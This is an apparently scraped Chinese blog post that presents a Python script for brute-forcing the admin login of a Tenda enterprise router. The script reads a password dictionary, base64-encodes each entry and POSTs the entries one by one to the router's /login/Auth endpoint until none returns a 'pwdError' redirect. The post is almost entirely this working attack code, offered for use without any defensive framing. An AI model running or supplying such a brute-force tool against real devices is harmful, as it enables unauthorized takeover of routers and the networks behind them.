zoukankan      html  css  js  c++  java
  • 暴力破解Tenda企业路由

    # -*- coding: utf-8 -*-
    import hashlib
    import io
    import sys
    import os
    import requests
    import urllib
    import base64
    
    
    
    
    def Dict_Data():
        f = open('data/dict.txt', 'r+')
        data = []
        line = f.readline()
        while line:
            line = f.readline()
            if "
    " in line:
                line = line.replace('
    ','')
                data.append(line)
            else:
                data.append(line)
        f.close()
        return data
    
    def Head_data():
        head = {
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "zh,zh-CN;q=0.9",
            "Cache-Control": "max-age=0",
            "Connection": "keep-alive",
            "Content-Length": "35",
            "Content-Type": "application/x-www-form-urlencoded",
            "Host": "192.168.0.1",
            "Origin": "http://192.168.0.1",
            "Referer": "http://192.168.0.1/login.asp",
            "Upgrade-Insecure-Requests": "1",
            "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
        }
        return head
    
    
    def PassWord_data():
        passdata = Dict_Data()
        temp = []
        num = int(len(passdata))
        for x in range(0,num):
            te = base64.b64encode(passdata[x].encode("utf-8"))
            temp.append(str(te,'utf-8'))
        return temp
    
    
    
    
    def Main():
        url = "http://192.168.0.1/login/Auth"
        passdata = PassWord_data()
        head = Head_data()
        pwd = ""
        num = int(len(passdata))
        print(num)
        for x in range(0,num):
            Post_Password_Data = {
                "password":passdata[x]
            }
            try:
                resp = requests.post(url,Post_Password_Data,headers=head)
                status = resp.url
                if "pwdError" in status:
                    print("第",str(x),"次尝试,失败,尝试的密码是:",str(base64.b64decode(str(passdata[x])),'utf-8'),"-----------状态码:",resp.status_code)
                else:
                    print("第",str(x),"次尝试,成功!!")
                    print("")
                    passw = base64.b64decode(passdata[x])
                    pwd = passw
                    print("密码是",str(passw))
                    print("")
                    break
            except:
                print("错误 ","第",str(x),"次尝试出错","错误类型:其他错误 代码:",resp.status_code,resp.headers)
                break
        if pwd == "":
            print("破解完毕,未找到密码")
        else:
            print("破解完毕,密码是",str(pwd))
    
    
    
    if __name__=="__main__":
        Main()
        # PassWord_data()
  • 相关阅读:
    日期 根据所选日期 获取 之后N天的日期
    错误退出登录
    挂载路由导航守卫 router
    缓存 ssessionStorage&localStorage
    vue项目 第三方图标库阿里图库
    码云新建仓库 以及本地上传
    sql的四种连接-左外连接、右外连接、内连接、全连接
    C#中常用修饰符
    接口的隐式和显式实现
    C#break、continue、return、goto
  • 原文地址:https://www.cnblogs.com/chk141/p/12220282.html
Copyright © 2011-2022 走看看